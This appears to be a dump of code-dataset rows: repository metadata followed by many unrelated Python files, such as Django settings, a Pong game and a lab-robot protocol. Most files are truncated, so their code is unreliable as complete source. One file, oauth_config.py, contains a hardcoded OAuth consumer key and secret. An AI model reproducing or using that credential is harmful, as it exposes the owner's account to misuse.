c73f4caeb080e25d8e24530f8e1f12f2c0064d6b | 2bc96f1748eb92f74fa9f11acff0d4a1cbc87375 | /SymbolTable.py | 229138c470828421e0ed95d23cad6f2f0d6e4b97 | [] | no_license | KacperFKorban/ActualKutLang | df3383a7cba624acf2803765448c7896a0b10752 | 0af4800ce6114fe906c5e71bb0b228cbf204022c | refs/heads/master | 2022-11-09T02:35:36.122775 | 2020-06-30T11:40:47 | 2020-06-30T11:40:47 | 262,554,563 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,110 | py | class VariableSymbol(object):
def __init__(self, name, type):
self.name = name
self.type = type
class Type:
def __eq__(self, obj):
return type(self) is type(obj)
class String(Type):
def __repr__(self):
return "String"
class Numeric(Type):
pass
class Boole... | [
"kacper.f.korban@gmail.com"
] | kacper.f.korban@gmail.com |
5ad7fcf1308342cc0f96d5c3c9e5af929de4b80f | 264fb8c8df7bcbf8f969c9238c0c4871e5ef7fb7 | /tests/models.py | d3e01f01762fd8e10fab09802a820b7323473b8f | [] | no_license | sanderfoobar/sqlalchemy_zdb | b23c72434765d1715c0a2e730efe9963209b2c8a | 00a08c6c47d46ff493056a741765a2cd9df55d52 | refs/heads/master | 2021-07-24T19:54:15.643606 | 2017-11-05T00:23:00 | 2017-11-05T00:23:00 | 89,151,429 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 885 | py | from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy import create_engine
from sqlalchemy import Column, Integer, Boolean, DateTime
from sqlalchemy import Unicode
from sqlalchemy.dialects.postgresql import ARRAY, BIGINT
from sqlalchemy_zdb.type... | [
"sa.ferdinand@gmail.com"
] | sa.ferdinand@gmail.com |
83870d0bad6feabceabc1b28ee086fa96c2bafac | 2a1d2f8c084ea66788fb5b63e0b0a5ba7d871991 | /facebook/tree/426. Convert Binary Search Tree.py | 38b9917880c3831e4421bdb5ec076fae3211336b | [] | no_license | wanax/Leetcode | 3e315a46a1e85c3cb8143533da2e6b2594046c0e | 7802c247aa76fbf1b6c3caf14a708e1d4cd04ffd | refs/heads/master | 2021-11-23T17:37:52.955053 | 2021-10-22T03:30:40 | 2021-10-22T03:30:40 | 154,605,132 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,356 | py | '''
Xiaochi Ma
2018-11-01
'''
class Node:
def __init__(self, val, left, right):
self.val = val
self.left = left
self.right = right
class Solution:
def inOrder(self, node, temp):
if node and node.left:
temp = self.inOrder(node.left, temp)
... | [
"mxiaochi@gmail.com"
] | mxiaochi@gmail.com |
8d062e70c1250414eb462291082fec9b977fc54e | 80199ed4dd0d072140160a785932c35952105b19 | /miller/api/serializers/__init__.py | c25a1b7e375a9e4c48c04feabf33e4b2f2d6833d | [] | no_license | C2DH/miller | 7d90bb6bdfec0ab37cea80480c783dc850e33d19 | 5263a9e392249f6515e74dd45b92957bd6e9e1a7 | refs/heads/miller-v2 | 2023-06-01T20:51:37.167091 | 2023-05-15T13:48:03 | 2023-05-15T13:48:03 | 89,341,967 | 1 | 3 | null | 2023-05-15T13:46:16 | 2017-04-25T09:23:29 | Python | UTF-8 | Python | false | false | 41 | py | from .story import CreateStorySerializer
| [
"gui.daniele@gmail.com"
] | gui.daniele@gmail.com |
f5661d6a3215624ad0e4a173014fd859fdfd4b00 | 6dd0186d1ba7064a2ace5dba853168174064bf39 | /app1/admin.py | 64e08fef3f6765c570ea4bcc41a9f964e4294024 | [] | no_license | HermannDouglas/AmigoDoProf-tesi2 | bf65b82d91b4dbdb57d9e16beae3ba1e3c17ca36 | 19312d6c1f15b88e329ee62ec3179f7e41cb48e6 | refs/heads/main | 2023-08-23T10:15:49.451756 | 2021-10-05T16:41:10 | 2021-10-05T16:41:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 230 | py | from django.contrib import admin
from app1.models import Turma, Aluno, Frequencia, Aula
# Register your models here.
admin.site.register(Turma)
admin.site.register(Aula)
admin.site.register(Aluno)
admin.site.register(Frequencia)
| [
"55713960+HermannDouglas@users.noreply.github.com"
] | 55713960+HermannDouglas@users.noreply.github.com |
ce9e81e2b51bb97642a79f8b467a2770571ede66 | eea1be5dbac7fa10167eae167eb6712e3937f53a | /voidcoin/settings/dev.py | 70ec86d6e913a5df701dd36881e48c14a73f0cf7 | [] | no_license | chidimo/Voidcoin | 40962e46661b2a7106bd8e60d0830c3b9629b8fa | 227c160dfa671818522781aab013f2d1fcb098a9 | refs/heads/develop | 2022-12-09T17:40:26.294425 | 2019-07-04T08:32:20 | 2019-07-04T08:32:20 | 135,197,447 | 5 | 2 | null | 2022-12-08T02:08:45 | 2018-05-28T18:45:19 | Python | UTF-8 | Python | false | false | 1,964 | py | from .base import *
DEBUG = True
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql_psycopg2',
'NAME': 'voidcoin',
'USER': 'postgres',
'PASSWORD': config('DEV_DB_PASSWORD'),
'HOST': 'localhost',
'PORT': 5432
}
}
EMAIL_BACKEND = 'django.core.mai... | [
"orjichidi95@gmail.com"
] | orjichidi95@gmail.com |
396bb9ee533c26170bc0532e7826dc7039fca43e | 639fad37e3b0be9e6cd7d2f0f68bbfb5529558cf | /EchoesJava2/EchoesJava/echoes-runtime/bin/rendering-engine/environment/HelperElements.py | 3aca6c85cb98b358864ee3e2d80416b2607fb5f5 | [] | no_license | keithsaccount/ECHOES2 | 768df0e3967ae5b16179a3279167f6fab76d302e | 289cfc5112b0c242c05f82332872274d6f573660 | refs/heads/master | 2021-01-17T01:11:21.852047 | 2012-05-16T15:49:15 | 2012-05-16T15:49:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,370 | py | '''
Created on 14 Oct 2009
@author: cfabric
'''
from EchoesSceneElement import *
from OpenGL.GL import *
from OpenGL.GLU import *
from OpenGL.GLUT import *
class Axis(EchoesSceneElement):
'''
classdocs
'''
def __init__(self, app, autoAdd=True, fadeIn=False, fadingFrames=100):
'''
Co... | [
"gr8sunny@gmail.com"
] | gr8sunny@gmail.com |
2ff990787f3dc1c9fc84e345e168599156927d6b | 2fcceb594c474272eca695c0f147eb6f0d7ce21d | /Flask_SqlAlchemy/Flask_Sql_Alchemy/__init__.py | 419045da93be2e71dba815a37001436206e60aee | [] | no_license | ravijaya/Flask | f99a66eafa5767e3aa23dfd2f703ee6e011e280d | c2ccee5df4c58607932dd56d7df6a752f208d750 | refs/heads/master | 2020-07-21T11:20:49.858657 | 2019-09-03T11:46:43 | 2019-09-03T11:46:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 371 | py | from flask import Flask
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__)
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False # To silent the warning message
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///todo.db'
db = SQLAlchemy(app)
#import here otherwise it won't be able to find app module
fr... | [
"prince.kumar@amadeus.com"
] | prince.kumar@amadeus.com |
089b2c98e03f58cc2de5979eb336b3d85f403c8c | 512b1191d41bd59e8f8d8b25d1a7739c905437b8 | /gwips_tools/config.py | 20daa5cc5243b95b1c06f39bd455a576322d5df8 | [] | no_license | vimalkvn/gwips_tools | 493121311b44c348e121909d8fba0be5c502c4a0 | 57925ff4fda7803178d297e6512c54314cfca098 | refs/heads/master | 2021-01-15T10:36:45.164094 | 2015-09-23T09:43:58 | 2015-09-23T09:43:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 582 | py | # -*- coding: utf-8 -*-
import os
class Config(object):
# get the running directory of this file, move one level up to get the
# application directory
APP_DIR = os.path.split(os.path.dirname(os.path.abspath(__file__)))[0]
class TestingConfig(Config):
"""Testing configuration"""
CONFIG_FILE = os.... | [
"vimal@biotechcoder.com"
] | vimal@biotechcoder.com |
bb20554028a94670278f1a937752a73087fb7faa | d94b827b04cdafee3fa4c764db45ced5d1e9e550 | /Library/convex.py | fbaa560f12f723c17b244492d39387643661a952 | [
"MIT"
] | permissive | marcelodaher/ArraySim | 4dbf66d9c9bf448851c4ba982a66bce6911ba7de | f42db96e30acff6f3ce3829dc89a79ef5473b4db | refs/heads/master | 2020-04-05T02:57:00.872101 | 2019-12-06T16:40:28 | 2019-12-06T16:40:28 | 156,495,514 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,378 | py | # -*- coding: utf-8 -*-
"""
Implementação de rotinas de estimação utilizando cvxpy
@author: Marcelo Daher
"""
import cvxpy as cp
import numpy as np
import matplotlib.pyplot as plt
SOLVER = "ECOS" # ECOS, ECOS_BB, SCS
args_lasso = {'solver': 'ECOS_BB',
'max_iters': 2000}
args_bp = {'solve... | [
"noreply@github.com"
] | marcelodaher.noreply@github.com |
874ca8739134a2d64b6104c6c6179ed4bd600594 | a4730ec79def343b57fc85d5d383a04fbcbf03e8 | /ship/fmp/datcollection.py | ce0037d2275be831c96364e6ae6c7270f854d908 | [
"MIT"
] | permissive | GitContainer/SHIP | 02f84a23d6825e15950e7edd2392a123cd9afb83 | a25c6db212b9cd3215757058fa3fc3c902409c05 | refs/heads/master | 2020-05-17T05:08:11.948390 | 2016-12-05T09:10:17 | 2016-12-05T09:16:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,246 | py | """
Summary:
Contains the convenience collection pattern UnitCollection.
This is used to hold all of the isisunit objects loaded from the dat
file.
Provides convenience methods for retrieving units and getting key
meta-data on the units held in this collection.
Author:
Duncan Runnacles
... | [
"duncan.runnacles@thomasmackay.co.uk"
] | duncan.runnacles@thomasmackay.co.uk |
c8a3c6b388f4871dd9118e33902669acbf84b3ce | 1cf03cb05ffefbcb1a8f1bb56e62bb5d76bdc825 | /movies/migrations/0004_auto_20190515_1744.py | 9ea0d8ca5d299d0be1b429b955d59ee158996ad4 | [] | no_license | piotrthread/movies_base | 463abc0517e5814c6f9960cc8009b089c578cbcc | ed6f7836cc7838f6d8856a8e594e4a6a40b1b094 | refs/heads/master | 2020-05-23T16:48:22.834547 | 2019-05-16T18:45:26 | 2019-05-16T18:45:26 | 186,855,850 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 427 | py | # Generated by Django 2.2.1 on 2019-05-15 17:44
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('movies', '0003_auto_20190515_1741'),
]
operations = [
migrations.AlterField(
model_name='movie',
name='starring',
... | [
"piotrthread@gmail.com"
] | piotrthread@gmail.com |
84fa8a0538487a8227c5f0abca6e5041d209b452 | af24c64da3ae67887b9e9b929dd8511c89234a1b | /ReceiptManager/wsgi.py | b2eb07545e7403070752bcedc0266bcf95113772 | [] | no_license | songsh66/ReceiptManager | 7f590b20d8ece458bea840bf984c348a6f491381 | 13a3cd3c4499dc8c49137dc21bba0cccfe33f517 | refs/heads/master | 2021-07-07T10:35:15.475027 | 2017-10-03T02:52:09 | 2017-10-03T02:52:09 | 105,604,670 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 406 | py | """
WSGI config for ReceiptManager project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJAN... | [
"745872111@qq.com"
] | 745872111@qq.com |
50a037352ff3c9a418af4b572eb79953cc5d7fb7 | b52effa79794e7965bfa60feeb05a101deb10efd | /eval_func.py | c9e8a4f055727d05c012ccf3f97fe3756ba3dca4 | [] | no_license | MMRTristin/BiGruAttEncDec | f501a6f0f3e3fd9da7edaed259cb2a51aaedf202 | a4745f98e0f191854571b0a6a183e72300f47320 | refs/heads/master | 2023-03-21T09:12:08.077536 | 2020-09-26T12:12:46 | 2020-09-26T12:12:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,881 | py | # coding: utf-8
from utils import *
from nltk.translate.bleu_score import sentence_bleu
from nltk.translate.nist_score import corpus_nist
from nltk.translate.meteor_score import single_meteor_score
from rouge import Rouge
import sys
def eval_length(result):
length_sum = 0
for res in result:
... | [
"taisei.aso.study@gmail.com"
] | taisei.aso.study@gmail.com |
d195c2548dd779a57ed3469af120166d92df294b | c3b039b83501e419d143c9c53712258256f56a94 | /Data_preprocessing/Read_Json.py | 9d5aa5aa09591d6ab58d7629ebea0e105e1a101c | [] | no_license | JustDoSomethong/Common_code | 71aa87b3ad5acd1ff397e6893e4c4b66943955c3 | f0f79bd30af464489399f8486ae7e1499c8d212c | refs/heads/master | 2020-04-24T18:41:31.517413 | 2018-12-27T07:31:33 | 2018-12-27T07:31:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,413 | py | #-*- coding: UTF-8 -*-
# Read_Json.py # 根据json文件,删除文件
import os
import json
import cv2
import numpy as np
import math
def json_list():
list = os.listdir('./openpose_big_data/JSON')
return list
def read_json(list):
for img_json in list:
file = open(os.path.join('./openpose_big_data/JSON',img_json... | [
"392940398@qq.com"
] | 392940398@qq.com |
76a5ba96fc0d9f4d5326a414f677ece2a084e497 | dd0d19ad8be38cff7565ae8373e6adf9b49634a1 | /FacebookLogin_Chrome.py | e91af67676b916adb11298c4cd77dd8c63df364c | [] | no_license | JohnZhangwt/NBAI2018TEST | 5b24c0c1050c8d5691416ac0c45f0935928c31c2 | 906fbea27f0a501e549aaea983837b1364e815ea | refs/heads/master | 2020-03-26T19:26:05.979858 | 2018-08-19T01:42:52 | 2018-08-19T01:42:52 | 145,264,686 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,741 | py | from selenium import webdriver
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.keys import Keys
import re
WAITING_TIME = 5
url = 'https://www.facebook.com/'
user_name = 'lihqzz@foxmail.com'
password = 'Zwtlhq1019'
chrome_options = webdriver.ChromeOptions()
p... | [
"noreply@github.com"
] | JohnZhangwt.noreply@github.com |
f509d61c42fd4e09736506f61b65a6d588813204 | 8f3642f895741049e3d84a7a27d2a1928b5e9355 | /dobby/__main__.py | 90851e3087143c2121283ce55cd72c28d5749a63 | [] | no_license | tehstone/Dobby | 30bc14cc39b02c0a4880764ac7003f809ef5eaba | a20b7c5811fc972910a127e801778169aec4bad4 | refs/heads/master | 2023-01-08T14:02:15.802852 | 2019-07-22T13:27:43 | 2019-07-22T13:27:43 | 193,165,244 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 73,482 | py | import asyncio
import copy
import datetime
import errno
import functools
import gettext
import heapq
import io
import itertools
import json
import os
import pickle
import random
import re
import sys
import tempfile
import textwrap
import time
import traceback
from contextlib import redirect_stdout
from io import Bytes... | [
"stone.johnny@gmail.com"
] | stone.johnny@gmail.com |
146c328f2a468fe218c2e58e31f2e252d86e2cf4 | 06d22c7a8824c407156582b420dcd65381fa821a | /myproject/newapp/blocks.py | 76daf082853200ca9f03022d23ef19d93255ec3e | [] | no_license | neharamakanth/WagtailProject | ac990752f05f2b4615ec23db013d6668186b0059 | 50df9494be6c99aee3353e6749b37b0809bc256f | refs/heads/master | 2022-12-03T05:20:30.608746 | 2020-08-17T17:50:49 | 2020-08-17T17:50:49 | 288,248,899 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 724 | py | from wagtail.core import blocks
from django.core.validators import ValidationError
def check_for_title(value):
if 'the' in value:
raise ValidationError('Title cannot contain the word "the"')
class TitleAndTextBlock(blocks.StructBlock):
title=blocks.CharBlock(required=True,validators=[check_for_ti... | [
"nayana.ramakanth@gmail.com"
] | nayana.ramakanth@gmail.com |
c3dcf732068641ecf3c3fe05a5dd6c0778e247d4 | 48a365a701a99579e1f22c852d66c6b55a2095b7 | /pythonApp/flask_main.py | aaca20945c89deeeafcf9fd5d22d00234a30f99c | [] | no_license | alinalimov/pythonProject | 8478479b758882dbbb6c6c24faf79de733206afb | 73757665dfeb8ddad35d196aae811a5cdc88735a | refs/heads/main | 2023-01-30T06:18:49.901778 | 2020-12-14T22:01:58 | 2020-12-14T22:01:58 | 316,232,549 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 185 | py | from flask import Flask
app = Flask(__name__)
@app.route('/alina')
def hello_world():
return 'Hello World’
if __name__ == '__main__':
app.run()
app.run('127.0.0.1', '8080') | [
"alimovalina@gmail.com"
] | alimovalina@gmail.com |
13175b9cebe32ede456cdbd4ac180c7c792e404e | aa74b3bb7f7881a07c94c7e636a69e567c1094ed | /wikigenomes/oauth_config.py | 63e8eee30b75b52f9956cd5bcc5389aaab191050 | [] | no_license | putmantime/wikigenomes_version2 | 52b2754bb6b74cd7f69ded7b74dd88d3ba13b1f4 | b512fceb8e799e2186f97cb7a9f3b61caf412eb4 | refs/heads/master | 2023-01-11T05:08:22.000530 | 2017-03-21T18:05:15 | 2017-03-21T18:05:15 | 85,631,815 | 0 | 1 | null | 2022-12-26T20:14:55 | 2017-03-20T22:04:22 | Perl | UTF-8 | Python | false | false | 111 | py | consumer_key = '59be86fa1f620941d8f32bd4748a72fa'
consumer_secret = 'f0e211d80c23bf3613dd1dfeb03d9a383d5284b6'
| [
"putmantime@gmail.com"
] | putmantime@gmail.com |
c1f3f8bbab696c547a30d5a169abdc1209621ca8 | 87df8993b91f7ffdbed0895d6c3c0b63f8f680e4 | /Lib/site-packages/troposphere/qldb.py | 067fa824b43ec60a83f2a443637b8f3fb131c209 | [
"MIT",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-python-cwi",
"GPL-1.0-or-later",
"LicenseRef-scancode-newlib-historical",
"OpenSSL",
"bzip2-1.0.6",
"Python-2.0",
"TCL",
"LicenseRef-scancode-proprietary-license",
"LicenseRef-scancode-free-unknown",
"LicenseRef-scancode-ot... | permissive | ZGrinacoff/ufc_fightclub | bae3029170235109f2a15e804823a8ba3f7c54b3 | ee0a0a5ff2756db05198522a376c6c38d09976e5 | refs/heads/master | 2022-10-21T16:39:43.376922 | 2019-11-07T02:25:33 | 2019-11-07T02:25:33 | 218,659,879 | 0 | 1 | MIT | 2022-10-03T06:26:03 | 2019-10-31T01:32:48 | Python | UTF-8 | Python | false | false | 534 | py | # Copyright (c) 2012-2019, Mark Peek <mark@peek.org>
# All rights reserved.
#
# See LICENSE file for full license.
#
# *** Do not modify - this file is autogenerated ***
# Resource specification version: 6.1.0
from . import AWSObject
from troposphere import Tags
from .validators import boolean
class Ledger(AWSObjec... | [
"zgrinacoff@gmail.com"
] | zgrinacoff@gmail.com |
3eb29b64e840eb16ac56e1e5d14ec4c49a692067 | 4f5497d06caa9d12266f7c421f28e44cd96ce1f7 | /new-york-city-taxi-fare-prediction/file_process.py | 49c88881977993bae1052509632afc2738a0f58d | [] | no_license | cthai721/jupyter-notebook-examples | f03469298f67230eafafba82140adad01ab1910b | f0d8415de94c706d39e2dde53d229efbe52a411c | refs/heads/master | 2020-03-26T19:58:49.207111 | 2018-08-19T21:10:37 | 2018-08-19T21:10:37 | 145,297,137 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 494 | py | import os
with open('tmp.csv','w') as tmp:
with open('train.csv','r') as infile:
for linenumber, line in enumerate(infile):
if linenumber <= 1000000:
tmp.write(line)
# copy back to original file. You can skip this if you don't
# mind (or prefer) having both files lying around
w... | [
"hai@factoryfinder.com"
] | hai@factoryfinder.com |
04a5ac227ff16d908d6ea9c43ed65181b56820de | 46b432cd3557038c454601367b878f889c9b6a8f | /kiyuna/tutorial07/tutorial07.py | cd07ce259e448005ecafb1d76d2ccac03e4a9643 | [] | no_license | tmu-nlp/NLPtutorial2019 | 84ceec06568fd9d899a686658fb8851466133375 | d77d199c50cd37d70e462209a7bfcd4dee9140a1 | refs/heads/master | 2020-05-14T13:34:05.336594 | 2019-09-25T02:25:41 | 2019-09-25T02:25:41 | 181,814,723 | 1 | 0 | null | 2019-08-01T18:53:54 | 2019-04-17T04:04:06 | Python | UTF-8 | Python | false | false | 478 | py | from train_nn import *
from test_nn import *
import subprocess
train_path = '../../data/titles-en-train.labeled'
train_nn(train_path, layer_num=1, node_num=2, epoch_num=1, λ=0.1)
test_path = '../../data/titles-en-test.word'
out_path = './out.txt'
test_nn(test_path, out_path)
script_path = '../../script/grade-predict... | [
"kyuna.prog@gmail.com"
] | kyuna.prog@gmail.com |
6e5eacff5c385b71e029aed864bd50ad09a30db7 | ff9bc5a9ecd7b72843155753eef44f00de9f69b7 | /calibration_check/stationA_protocol3_lysates_S3_calibration.py | 828fbc935e46f23baf82f67e8abf3a22ff4acd8f | [
"AGPL-3.0-only"
] | permissive | luissian/opentrons_covid19 | dacf108802f0d586399ee3e8cd229ea218614c30 | d5b0332954ea0446f311d19eb905c39b665ed72d | refs/heads/master | 2022-08-01T03:32:41.156980 | 2020-05-26T10:22:00 | 2020-05-26T10:22:00 | 256,753,845 | 0 | 0 | MIT | 2020-04-18T12:56:51 | 2020-04-18T12:56:51 | null | UTF-8 | Python | false | false | 9,117 | py | from opentrons import protocol_api
from opentrons.types import Point
from opentrons.drivers.rpi_drivers import gpio
import time
import math
import os
import subprocess
import json
# metadata
metadata = {
'protocolName': 'S3 Station A Protocol 3 lysates Version 1',
'author': 'Sara <smonzon@isciii.es>, Miguel <m... | [
"migueljuliamolina@gmail.com"
] | migueljuliamolina@gmail.com |
49b92f612aa387fe77a6fdbd616b9ddc0794ad80 | e5cc010a5b066de321b2fcbb10be760f5d07164e | /py_game/pong.py | 771180ca2865f22174fbbe097c660fbd95586eb3 | [] | no_license | YurandCL/Pruebas_python | 020419be9f31fa79755d4d48278abd11e6a00ee7 | b9109c325a427bcaf6d8cc6a422abf59ec19fabd | refs/heads/master | 2020-05-17T03:36:21.919232 | 2019-04-25T18:09:09 | 2019-04-25T18:09:09 | 183,485,669 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,340 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Módulos
import sys, pygame
from pygame.locals import *
# Constantes
WIDTH = 640
HEIGHT = 480
# Clases
# ---------------------------------------------------------------------
class Bola(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__i... | [
"yurand.coloma@tecsup.edu.pe"
] | yurand.coloma@tecsup.edu.pe |
01f6f1cb26d71bb61ee3abfcf3da272212d482b9 | d2ea7af56543bfe4f4b428c025bf8e4d44ed16b8 | /certificats_dipcas/models.py | 4173d73121828cab5bda12c299d59a2d77215f1b | [] | no_license | alvarporcar/certificats | bd67413af77ad4c7ec629e063c3964b9d6bfba0c | 777de0886956c24fc21af6c89f9adc118b07d8af | refs/heads/master | 2021-01-10T13:45:44.351833 | 2016-02-24T16:35:51 | 2016-02-24T16:35:51 | 47,278,410 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 355 | py | from django.db import models
class Certificats(models.Model):
municipi = models.CharField(max_length=100)
certificat = models.FileField(upload_to=".")
clau = models.FileField(upload_to=".")
data_inici = models.DateField(default="2015-01-01")
data_fi = models.DateField(default="2015-01-01")
segell = ... | [
"alvar.porcar@gmail.com"
] | alvar.porcar@gmail.com |
908836f4b302beef58b569c6bd88d9425c373514 | 961aa16fdf30f94846a0ccd006bd2198545b5110 | /learn_notes/niuke_exercise/base64_0911.py | 45159269fe3df232ed8fb307bf5332fd1fd27e03 | [] | no_license | goushan33/PycharmProjects | 2bcbff8233ba6ccedc601c34f473b5371ccef39f | edf1bec6dcc566601152a90ecec150328add1304 | refs/heads/master | 2021-06-06T00:54:22.958519 | 2021-05-31T14:24:41 | 2021-05-31T14:24:41 | 171,823,819 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 316 | py | import base64
def safe_base64_decode(s):
if len(s)%4==0:
r=base64.urlsafe_b64decode(s)
else:
for i in range(len(s)%4):
s+=b'='
r=base64.urlsafe_b64decode(s)
return r
if b'abcd' == safe_base64_decode(b'YWJjZA'):
print('测试成功')
else:
print('测试失败') | [
"443568347@qq.com"
] | 443568347@qq.com |
ee9703daa5cc3632e67a2217d830eed7463293cf | 48fab33def7dfaed44dbf0a2c5c148798a10c4c8 | /test/onnx_converter_test/hugectr2onnx_wdl_test.py | 7577b6ee48494f469b7d97b2915f797fb76344de | [
"Apache-2.0"
] | permissive | js-ts/HugeCTR | 787fa22e8643cbfe7c6b9dac4414a70eb37f322c | 085b2e8ad2abaee5578e7bf43b8394d0b8473b58 | refs/heads/master | 2023-08-16T11:29:57.490236 | 2021-10-21T02:31:24 | 2021-10-21T02:31:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,851 | py | #
# Copyright (c) 2021, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed... | [
"zehuanw@nvidia.com"
] | zehuanw@nvidia.com |
2d9e11e3ed38020deb5118b50ac1bcf5d930d73c | 895dc44521e8567484425340cd6e3260a4f13700 | /Mug/home/migrations/0002_auto_20191217_1633.py | 1e3408de3ba6236f3ad641638165e0424e9cf9b0 | [] | no_license | chandraprakashcdy/Mug-Factory | 73668423058b81f1a5d41cf42b7ab82abcc15f02 | 80bba33015007d268fcd3196fb3fdaa456c057ec | refs/heads/master | 2020-11-26T19:59:53.696457 | 2019-12-22T04:17:47 | 2019-12-22T04:17:47 | 229,194,121 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,048 | py | # Generated by Django 2.2.4 on 2019-12-17 10:48
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('home', '0001_initial'),
... | [
"chandraprakashchaudhary5@gmail.com"
] | chandraprakashchaudhary5@gmail.com |
9be0a66ae0a2fad7ecec0ba7db01e19576209736 | 656aaaf9529bbff0eef513b3eb5e690ab04b4a93 | /0x03-python-data_structures/6-print_matrix_integer.py | bb1231d7d8227f622ddf81e6996336fe5a67fec3 | [] | no_license | jshmattos/holbertonschool-higher_level_programming | bf203e2a6184f273ab2382100564d9616f3c4880 | 0438408fbd0fa833c266984110dc1ce3e8ac4a2a | refs/heads/master | 2021-02-14T05:39:40.287310 | 2019-10-26T18:56:08 | 2019-10-26T18:56:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 285 | py | #!/usr/bin/python3
def print_matrix_integer(matrix=[[]]):
for row in matrix:
for i in row:
print("{:d}".format(i), end=" " if row[-1] != i else "")
print()
# print('\n'.join([''.join(
# [str(i) + " " for i in row]).strip() for row in matrix]))
| [
"tuvo1106@gmail.com"
] | tuvo1106@gmail.com |
f7563abdb8f484051174f08311f015a78de85abb | a01e7f87a0088965e2e0a02476d2df12a49a1a18 | /package/vpntfi/build/lib/vpnmodule/lib/ipsec.py | ec9ef5f7c46a4f3932aa7db489e96b7baad3399c | [] | no_license | gsrr/IFT_jerry | 0456a8a1fb98f84ad5c26dc36bdf32e2d85c750c | 4c2f6900dfd7ae7f6b3cc2150b1c1be236b4c95c | refs/heads/master | 2020-04-04T05:30:10.544252 | 2019-08-22T09:12:03 | 2019-08-22T09:12:03 | 48,145,836 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,828 | py | import sys
import os
import configLoader
import mcommon
def make_replace_func(src, dst):
def wrap_func(items):
with open(src, "r") as fr:
with open(dst, "w") as fw:
for line in fr.readlines():
line = line.strip()
for key in items.keys():
... | [
"jerrycheng1128@gmail.com"
] | jerrycheng1128@gmail.com |
81cf2192372f7be30eaaa2775dbbee9dda647e85 | 15ed740b04044c57d02954ab021abd645d725fe9 | /QQ/src/__init__.py | 0322615249fb6fbdee9583e05e8617fc627e86e3 | [] | no_license | guo-hg/hello-world | 30696940ccb55ddd69ece1a477b81b5a6d9315e9 | 24b647c11e2948168e4ae2e89658d0af59111f71 | refs/heads/master | 2020-07-30T05:52:14.541205 | 2019-09-22T08:12:50 | 2019-09-22T08:12:50 | 210,109,221 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 38 | py | #!/sur/bin/python
# -*-coding:utf-8-*- | [
"13319264301@.com"
] | 13319264301@.com |
d86340a6767ed274ae880923b13b4c21609393f6 | 047fbc11cd389e56865034cf473807db8718d92e | /assignment_test.py | 46933b2148fcdc536230cfb6950f6b105b7d6bba | [] | no_license | SDSS-Computing-Studies/002b-basic-math-Sebastianmaudee | 5c07d14dd2f13a6de8674d08c36f614defd1d84a | ae9826096b03ba4cf0d45fa27ec4acf9449570b7 | refs/heads/master | 2023-08-28T23:20:37.346270 | 2021-10-21T21:16:41 | 2021-10-21T21:16:41 | 406,925,526 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 277 | py | #! python3
import a1, a2, a3, a4, a5, a6
def test1():
assert a1.answer == 14
def test2():
assert a2.answer == 3
def test3():
assert a3.answer == 10
def test4():
assert a4.answer == 2.5
def test5():
assert a5.answer == 1
def test6():
assert a6.answer == 25
| [
"66690702+github-classroom[bot]@users.noreply.github.com"
] | 66690702+github-classroom[bot]@users.noreply.github.com |
a5a5a43db42d6a2a4bf1fbf66cbc96feba06d015 | 8cb1253c44d15238ec205d6cfc133274667c7a4b | /Python基础/day01/demo.py | cabb2ab1762fa40fca6c9a2d8ad16b961539f4c6 | [] | no_license | xianjyu/PythonStudy | 0f86ed4e5f75d352ca36f694519afd1226abeccd | 7b3e342e7d320d4138c87667794a9370a4b70aca | refs/heads/master | 2021-01-08T20:46:17.611119 | 2020-03-19T04:50:49 | 2020-03-19T04:50:49 | 242,138,917 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,244 | py | content = 'I am yuxj, 18 year old'
content2 = "I'm yuxj, 18 year old"
content3 = '''
每想你一次,
天上飘落一粒沙,
从此形成了撒哈拉。
每想你一次,
